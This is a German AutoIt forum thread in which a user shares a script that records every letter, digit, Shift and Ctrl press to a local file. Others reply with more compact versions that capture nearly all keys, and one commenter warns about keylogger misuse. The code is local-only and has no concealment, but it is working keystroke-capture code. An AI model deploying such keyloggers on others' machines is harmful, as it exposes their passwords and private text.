|
You last visited: Today at 04:00
Advertisement
Autoit KeyAufzeichner/Logger
Discussion on Autoit KeyAufzeichner/Logger within the AutoIt forum part of the Coders Den category.
10/21/2010, 21:50
|
#1
|
elite*gold: 115
Join Date: Feb 2009
Posts: 353
Received Thanks: 44
|
Autoit KeyAufzeichner/Logger
Auf die Idee das Programm hier zu machen hatt mich IwH gebracht.
Es war ein großes stück Arbeit, mache es aber trotz allem OpenSource und würde mich daher über ein paar thx freun
Was macht es? Es schreibt jeden BUCHSTABEN+Shift und Strg, der geklickt wird in eine Ini datei rein.
PHP Code:
#include <File.au3>
#include <misc.au3>
$Zaelen = "0"
While 1
If _IsPressed(10) Then
While (10)
If $Zaelen = "0" then
_FileWriteLog("Tasten.ini", "Shift gedrueckt")
$Zaelen = "1"
While (10)
If not _IsPressed(10) then
$Zaelen = "0"
ExitLoop
EndIf
WEnd
ExitLoop
EndIf
WEnd
ElseIf _IsPressed(11) Then
While (10)
If Not _IsPressed(11) Then
_FileWriteLog("Tasten.ini", "Ctrl gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed(30) Then
While (10)
If Not _IsPressed(30) Then
_FileWriteLog("Tasten.ini", "Zahl 0 gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed(31) Then
While (10)
If Not _IsPressed(31) Then
_FileWriteLog("Tasten.ini", "Zahl 1 gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed(32) Then
While (10)
If Not _IsPressed(32) Then
_FileWriteLog("Tasten.ini", "Zahl 2 gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed(33) Then
While (10)
If Not _IsPressed(33) Then
_FileWriteLog("Tasten.ini", "Zahl 3 gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed(34) Then
While (10)
If Not _IsPressed(34) Then
_FileWriteLog("Tasten.ini", "Zahl 4 gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed(35) Then
While (10)
If Not _IsPressed(35) Then
_FileWriteLog("Tasten.ini", "Zahl 5 gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed(36) Then
While (10)
If Not _IsPressed(36) Then
_FileWriteLog("Tasten.ini", "Zahl 6 gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed(37) Then
While (10)
If Not _IsPressed(37) Then
_FileWriteLog("Tasten.ini", "Zahl 7 gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed(38) Then
While (10)
If Not _IsPressed(38) Then
_FileWriteLog("Tasten.ini", "Zahl 8 gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed(39) Then
While (10)
If Not _IsPressed(39) Then
_FileWriteLog("Tasten.ini", "Zahl 9 gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed(39) Then
While (10)
If Not _IsPressed(39) Then
_FileWriteLog("Tasten.ini", "Zahl 2 gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed(41) Then
While (10)
If Not _IsPressed(41) Then
_FileWriteLog("Tasten.ini", "Taste A gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed(42) Then
While (10)
If Not _IsPressed(42) Then
_FileWriteLog("Tasten.ini", "Taste B gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed(43) Then
While (10)
If Not _IsPressed(43) Then
_FileWriteLog("Tasten.ini", "Taste C gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed(44) Then
While (10)
If Not _IsPressed(44) Then
_FileWriteLog("Tasten.ini", "Taste D gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed(45) Then
While (10)
If Not _IsPressed(45) Then
_FileWriteLog("Tasten.ini", "Taste E gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed(46) Then
While (10)
If Not _IsPressed(46) Then
_FileWriteLog("Tasten.ini", "Taste F gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed(47) Then
While (10)
If Not _IsPressed(47) Then
_FileWriteLog("Tasten.ini", "Taste G gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed(48) Then
While (10)
If Not _IsPressed(48) Then
_FileWriteLog("Tasten.ini", "Taste H gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed(49) Then
While (10)
If Not _IsPressed(49) Then
_FileWriteLog("Tasten.ini", "Taste I gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed("4A") Then
While (10)
If Not _IsPressed("4A") Then
_FileWriteLog("Tasten.ini", "Taste J gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed("4B") Then
While (10)
If Not _IsPressed("4B") Then
_FileWriteLog("Tasten.ini", "Taste K gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed("4C") Then
While (10)
If Not _IsPressed("4C") Then
_FileWriteLog("Tasten.ini", "Taste L gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed("4D") Then
While (10)
If Not _IsPressed("4D") Then
_FileWriteLog("Tasten.ini", "Taste M gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed("4E") Then
While (10)
If Not _IsPressed("4E") Then
_FileWriteLog("Tasten.ini", "Taste N gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed("4F") Then
While (10)
If Not _IsPressed("4F") Then
_FileWriteLog("Tasten.ini", "Taste O gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed("50") Then
While (10)
If Not _IsPressed("50") Then
_FileWriteLog("Tasten.ini", "Taste P gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed("51") Then
While (10)
If Not _IsPressed("51") Then
_FileWriteLog("Tasten.ini", "Taste Q gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed("52") Then
While (10)
If Not _IsPressed("52") Then
_FileWriteLog("Tasten.ini", "Taste R gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed("53") Then
While (10)
If Not _IsPressed("53") Then
_FileWriteLog("Tasten.ini", "Taste S gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed("54") Then
While (10)
If Not _IsPressed("54") Then
_FileWriteLog("Tasten.ini", "Taste T gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed("55") Then
While (10)
If Not _IsPressed("55") Then
_FileWriteLog("Tasten.ini", "Taste U gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed("56") Then
While (10)
If Not _IsPressed("56") Then
_FileWriteLog("Tasten.ini", "Taste V gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed("57") Then
While (10)
If Not _IsPressed("57") Then
_FileWriteLog("Tasten.ini", "Taste W gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed("58") Then
While (10)
If Not _IsPressed("58") Then
_FileWriteLog("Tasten.ini", "Taste X gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed("59") Then
While (10)
If Not _IsPressed("59") Then
_FileWriteLog("Tasten.ini", "Taste Y gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed("5A") Then
While (10)
If Not _IsPressed("5A") Then
_FileWriteLog("Tasten.ini", "Taste Z gedrueckt")
ExitLoop
EndIf
WEnd
;(C) by MagicDave
EndIf
WEnd
Bei Verbesserungsvorshlägen Pn an mich oder hier rein
lg MagicDave
|
|
|
10/21/2010, 21:54
|
#2
|
elite*gold: 25
Join Date: Jun 2010
Posts: 1,076
Received Thanks: 290
|
nice ^^
sowas hab ich auch mal gemacht^^
das ist echt ein Stück Arbeit 
vorallem das alles zu tippen xD
|
|
|
10/21/2010, 21:56
|
#3
|
elite*gold: 0
Join Date: Mar 2009
Posts: 2,317
Received Thanks: 1,255
|
 kaum lernen die vögel halbwegs autoit und schreiben bzw veröffentlichen sie gleich nen "keylogger"
|
|
|
10/21/2010, 22:02
|
#4
|
elite*gold: 115
Join Date: Feb 2009
Posts: 353
Received Thanks: 44
|
Quote:
Originally Posted by omer36
 kaum lernen die vögel halbwegs autoit und schreiben bzw veröffentlichen sie gleich nen "keylogger"
|
Is ja kein richtiger "Keylogger" der versendet ja nicht die daten Sondern der ist eigentlich nur für den eigengebrauch gedacht (Aufzeichnen was man alles gemacht hatt) aber naja ich kann verstehen was du meinst xD
Wie gesagt es holt nur die sachen was man macht und tut sie in ne Inidatei aber versendet nix irgendwohin....
Und für mich zählt nur dass es viel arbeit war und ich mich freu dass es funzt
lg magic
|
|
|
10/21/2010, 22:09
|
#5
|
elite*gold: 0
Join Date: Mar 2009
Posts: 2,317
Received Thanks: 1,255
|
ja ist ja toll udnso, dass du es machen konntest, aber veröffentlichen muss mann sowas nicht,
weil es reichen schon.. kp..um die 10zeilen mehr und du sendest die sachen an ne email...
nja
|
|
|
10/21/2010, 22:12
|
#6
|
elite*gold: 280
Join Date: May 2007
Posts: 2,818
Received Thanks: 3,483
|
für sowas kannste auch direkt die ganze hilfe aus der misc.au3 in dein script packen, und das per schleife durchlaufen...
und auch so kannst du das gerade bei zahlen und buchstaben so machen...
|
|
|
10/21/2010, 22:12
|
#7
|
elite*gold: 115
Join Date: Feb 2009
Posts: 353
Received Thanks: 44
|
*.* Wusst ich ned......
Naja löschen werd ichs jetzt auch nicht mehr allerdings jetzt da ich das weiß werd ich solche ähnlichen sachen nicht mehr veröffentlichen THX
Quote:
Originally Posted by lolkop
für sowas kannste auch direkt die ganze hilfe aus der misc.au3 in dein script packen, und das per schleife durchlaufen...
und auch so kannst du das gerade bei zahlen und buchstaben so machen...
|
*.* Waaas? xD Ich programmier da so lang rum und das geht alles in ein paar einzelnen zeilen?
Kannste mir das bitte mal zeigen  ?
|
|
|
10/21/2010, 22:15
|
#8
|
elite*gold: 2
Join Date: Feb 2009
Posts: 3,833
Received Thanks: 893
|
wie bist du auf die idee gekommen einen "was habe ich heute geschrieben" aufzeichner zu machen?
|
|
|
10/21/2010, 22:19
|
#9
|
elite*gold: 115
Join Date: Feb 2009
Posts: 353
Received Thanks: 44
|
Ehhm das ist ne gute Frage xD Ich dachte mir einfach einma so was wäre Lustig (schon länger her..
Und dann Heute als in dem Thread:  so was wieder aufgetaucht ist hab ich mir gedacht ich schreib ma so was weil ich es schon längere Zeit vor hatte
|
|
|
10/21/2010, 22:20
|
#10
|
elite*gold: 2
Join Date: Feb 2009
Posts: 3,833
Received Thanks: 893
|
okay danke für die aufklärung xD
sehr interessant =P
|
|
|
10/21/2010, 22:52
|
#11
|
elite*gold: 280
Join Date: May 2007
Posts: 2,818
Received Thanks: 3,483
|
naja idee war eig die misc.au3 parsen zu lassen... aber denn würde das ganze ja nur funzen, wenn autoit installed ist...
also am besten das ganze zeug ins script packen als array...
so würdest du also alles checken:
Code:
#include <File.au3>
Dim $keys[256]
$keys[0x01] = "Left mouse button"
$keys[0x02] = "Right mouse button"
$keys[0x04] = "Middle mouse button (three-button mouse)"
$keys[0x05] = "Windows 2000/XP: X1 mouse button"
$keys[0x06] = "Windows 2000/XP: X2 mouse button"
$keys[0x08] = "BACKSPACE key"
$keys[0x09] = "TAB key"
$keys[0x0C] = "CLEAR key"
$keys[0x0D] = "ENTER key"
$keys[0x10] = "SHIFT key"
$keys[0x11] = "CTRL key"
$keys[0x12] = "ALT key"
$keys[0x13] = "PAUSE key"
$keys[0x14] = "CAPS LOCK key"
$keys[0x1B] = "ESC key"
$keys[0x20] = "SPACEBAR"
$keys[0x21] = "PAGE UP key"
$keys[0x22] = "PAGE DOWN key"
$keys[0x23] = "END key"
$keys[0x24] = "HOME key"
$keys[0x25] = "LEFT ARROW key"
$keys[0x26] = "UP ARROW key"
$keys[0x27] = "RIGHT ARROW key"
$keys[0x28] = "DOWN ARROW key"
$keys[0x29] = "SELECT key"
$keys[0x2A] = "PRINT key"
$keys[0x2B] = "EXECUTE key"
$keys[0x2C] = "PRINT SCREEN key"
$keys[0x2D] = "INS key"
$keys[0x2E] = "DEL key"
For $i=0 To 9
$keys[0x30+$i] = $i&" key"
Next
For $i=1 To 26
$keys[0x40+$i] = Chr(0x40+$i)&" key"
Next
$keys[0x5B] = "Left Windows key"
$keys[0x5C] = "Right Windows key"
For $i=0 To 9
$keys[0x60+$i] = "Numeric keypad "&$i&" key"
Next
$keys[0x6A] = "Multiply key"
$keys[0x6B] = "Add key"
$keys[0x6C] = "Separator key"
$keys[0x6D] = "Subtract key"
$keys[0x6E] = "Decimal key"
$keys[0x6F] = "Divide key"
For $i=1 To 24
$keys[0x6F+$i] = "F"&$i&" key"
Next
$keys[0x90] = "NUM LOCK key"
$keys[0x91] = "SCROLL LOCK key"
$keys[0xA0] = "Left SHIFT key"
$keys[0xA1] = "Right SHIFT key"
$keys[0xA2] = "Left CONTROL key"
$keys[0xA3] = "Right CONTROL key"
$keys[0xA4] = "Left MENU key"
$keys[0xA5] = "Right MENU key"
$keys[0xBA] = ";"
$keys[0xBB] = "="
$keys[0xBC] = ","
$keys[0xBD] = "-"
$keys[0xBE] = "."
$keys[0xBF] = "/"
$keys[0xC0] = "`"
$keys[0xDB] = "["
$keys[0xDC] = "\"
$keys[0xDD] = "]"
$dll = DllOpen('user32.dll')
While 1
For $i=1 To 255
If _IsPressed($i) Then _FileWriteLog("pressed.txt", $keys[$i])
Do
Until Not _IsPressed($i)
Next
Sleep(5)
WEnd
Func _IsPressed($key, $vDLL = 'user32.dll')
Local $a_R = DllCall($vDLL, "short", "GetAsyncKeyState", "int", $key)
If @error Then Return SetError(@error, @extended, False)
Return BitAND($a_R[0], 0x8000) <> 0
EndFunc
wenn du nur so wie du es dort tust auf zahlen und buchstaben checken willst geht das aber auch so:
Code:
$dll = DllOpen('user32.dll')
While 1
For $i=0 To 9
If _IsPressed(0x30+$i) Then FileWrite("pressed.txt", @MDAY&'.'&@MON&'.'&@YEAR&' '&@HOUR&':'&@MIN&':'&@SEC&' --> '&$i&" gedrueckt"&@CRLF)
Next
For $i=1 To 26
If _IsPressed(0x40+$i) Then FileWrite("pressed.txt", @MDAY&'.'&@MON&'.'&@YEAR&' '&@HOUR&':'&@MIN&':'&@SEC&' --> '&Chr(0x40+$i)&" gedrueckt"&@CRLF)
Next
Sleep(5)
WEnd
Func _IsPressed($key, $vDLL = 'user32.dll')
Local $a_R = DllCall($vDLL, "short", "GetAsyncKeyState", "int", $key)
If @error Then Return SetError(@error, @extended, False)
If BitAND($a_R[0], 0x8000) <> 0 Then
Do
$a_R = DllCall($vDLL, "short", "GetAsyncKeyState", "int", $key)
Until BitAND($a_R[0], 0x8000) = 0
Return True
Else
Return False
EndIf
EndFunc
|
|
|
10/21/2010, 23:20
|
#12
|
elite*gold: 115
Join Date: Feb 2009
Posts: 353
Received Thanks: 44
|
Uhh niccceeee  Haste dir n thx verdient :P
|
|
|
10/21/2010, 23:23
|
#13
|
elite*gold: 30
Join Date: Jun 2010
Posts: 4,962
Received Thanks: 2,121
|
Für sowas willst du nicht wirklich n' Thx oder?
|
|
|
10/21/2010, 23:28
|
#14
|
elite*gold: 2
Join Date: Mar 2008
Posts: 1,778
Received Thanks: 1,222
|
Code:
Func _CheckKey()
For $i = 1 To 165
$iValue = StringTrimLeft(Hex($i), 6)
$iHex = "0x" & $iValue
$aResult = DllCall("user32.dll", "short", "GetAsyncKeyState", "int", $iHex)
If @error Then Return SetError(@error, @extended, 0)
If BitAND($aResult[0], 32768) <> 0 And $iHex <> $iOldHex Then
Return _GetKeyName($iHex)
$iOldHex = $iHex
EndIf
Next
EndFunc ;==>_CheckKey
Func _GetKeyName($iKey)
Local $aKey[116][2] = [ _
[0x01, "Linke Maustaste"],[0x02, "Rechte Maustaste"],[0x04, "Mittlere Maustaste"],[0x05, "X1 Maus-Taste"],[0x06, "X2 Maus-Taste"], _
[0x08, "Löschtaste rückwärts"],[0x09, "Tabulator-Taste"],[0x0C, "Entf-Taste"],[0x0D, "Enter/Return-Taste"],[0x10, "Shift/Umschalt-Taste"], _
[0x11, "Ctrl/Strg-Taste"],[0x12, "Alt-Taste"],[0x13, "Pause-Taste"],[0x14, "Feststelltaste"],[0x1B, "Esc-Taste"],[0x20, "Leertaste"],[0x21, "Bild-auf Taste"], _
[0x22, "Bild-ab Taste"],[0x23, "Ende-Taste"],[0x24, "Pos 1-Taste"],[0x25, "Pfeiltaste nach links"],[0x26, "Pfeiltaste nach oben"], _
[0x27, "Pfeiltaste nach rechts"],[0x28, "Pfeiltaste nach unten"],[0x29, "Auswahltaste"],[0x2A, "Druck"],[0x2B, "Ausführentaste"], _
[0x2C, "Drucktaste"],[0x2D, "Einfg-Taste"],[0x2E, "Entf-Taste"],[0x30, "0"],[0x31, "1"],[0x32, "2"],[0x33, "3"],[0x34, "4"],[0x35, "5"], _
[0x36, "6"],[0x37, "7"],[0x38, "8"],[0x39, "9"],[0x41, "A"],[0x42, "B"],[0x43, "C"],[0x44, "D"],[0x45, "E"],[0x46, "F"],[0x47, "G"],[0x48, "H"], _
[0x49, "I"],[0x4A, "J"],[0x4B, "K"],[0x4C, "L"],[0x4D, "M"],[0x4E, "N"],[0x4F, "O"],[0x50, "P"],[0x51, "Q"],[0x52, "R"],[0x53, "S"],[0x54, "T"],[0x55, "U"], _
[0x56, "V"],[0x57, "W"],[0x58, "X"],[0x59, "Y"],[0x5A, "Z"],[0x5B, "Linke Windows-Taste"],[0x5C, "Rechte Windows-Taste"],[0x60, "rechter Nummerblock Taste 0"], _
[0x61, "rechter Nummerblock Taste 1"],[0x62, "rechter Nummerblock Taste 2"],[0x63, "rechter Nummerblock Taste 3"],[0x64, "rechter Nummerblock Taste 4"], _
[0x65, "rechter Nummerblock Taste 5"],[0x66, "rechter Nummerblock Taste 6"],[0x67, "rechter Nummerblock Taste 7"],[0x68, "rechter Nummerblock Taste 8"], _
[0x69, "rechter Nummerblock Taste 9"],[0x6A, "rechter Nummerblock Malzeichen"],[0x6B, "rechter Nummerblock Pluszeichen"],[0x6C, "Eingabetaste"], _
[0x6D, "rechter Nummerblock Minuszeichen"],[0x6E, "rechter Nummerblock Kommazeichen"],[0x6F, "rechter Nummerblock Geteiltzeichen"],[0x70, "F1"], _
[0x71, "F2"],[0x72, "F3"],[0x73, "F4"],[0x74, "F5"],[0x75, "F6"],[0x76, "F7"],[0x77, "F8"],[0x78, "F9"],[0x79, "F10"],[0x7A, "F11"],[0x7B, "F12"], _
[0x7C, "F13"],[0x7D, "F14"],[0x7E, "F15"],[0x7F, "F16"],[0x80, "F17"],[0x81, "F18"],[0x82, "F19"],[0x83, "F20"],[0x84, "F21"],[0x85, "F22"], _
[0x86, "F23"],[0x87, "F24"],[0x90, "Num-Taste"],[0x91, "Rollen-Taste"],[0xA0, "linke Shift/Umschalt/Feststelltaste"], _
[0xA1, "rechte Shift/Umschalt/Feststelltaste"],[0xA2, "linke Ctrl/Strg-Taste"],[0xA3, "rechte Ctrl/Strg-Taste"], _
[0xA4, "(linke) Alt-Taste"],[0xA5, "(rechte) Alt Gr-Taste"]]
Local $Index = _ArraySearch($aKey, $iKey)
If Not @error Then
Return $aKey[$Index][1]
Else
Return 0
EndIf
EndFunc ;==>_GetKeyName
Einfach _CheckKey in einer Schleife durchlaufen lassen ;O
Und lolkop, sag nichts dagegen, alles was ich mache, findest du schlecht!
#include <array.au3> wird gebraucht.
|
|
|
10/21/2010, 23:29
|
#15
|
elite*gold: 115
Join Date: Feb 2009
Posts: 353
Received Thanks: 44
|
Nicht für das was es ist sondern für die zeit die ich darin investiert hab damitt es läuft..
und außerdem wenn du nicht willst musst du mir ja kein thx geben allerdings würd es mich freun ^^
|
|
|
Similar Threads
|
Key Logger
04/30/2010 - Diablo 2 - 7 Replies
Hallo vielleicht kann mir jemand helfen!! Ich muss einen KeyLogger auf dem PC haben!!! 2 mal wurde ein acc gehackt wo ich gerade fertig war mit dem eq kann mir jemand sagen wo und wie ich die scheisse gleich finden kann??
|
Help me l2-logger !!!
11/07/2008 - Lineage 2 - 2 Replies
i need help, when i try to open l2logger a msdos window appear and disappear can someone help me for fix it?
thanks
|
Key logger plz
09/05/2007 - Conquer Online 2 - 7 Replies
does any1 have a key logger that i can use??
|
All times are GMT +1. The time now is 04:00.
|
|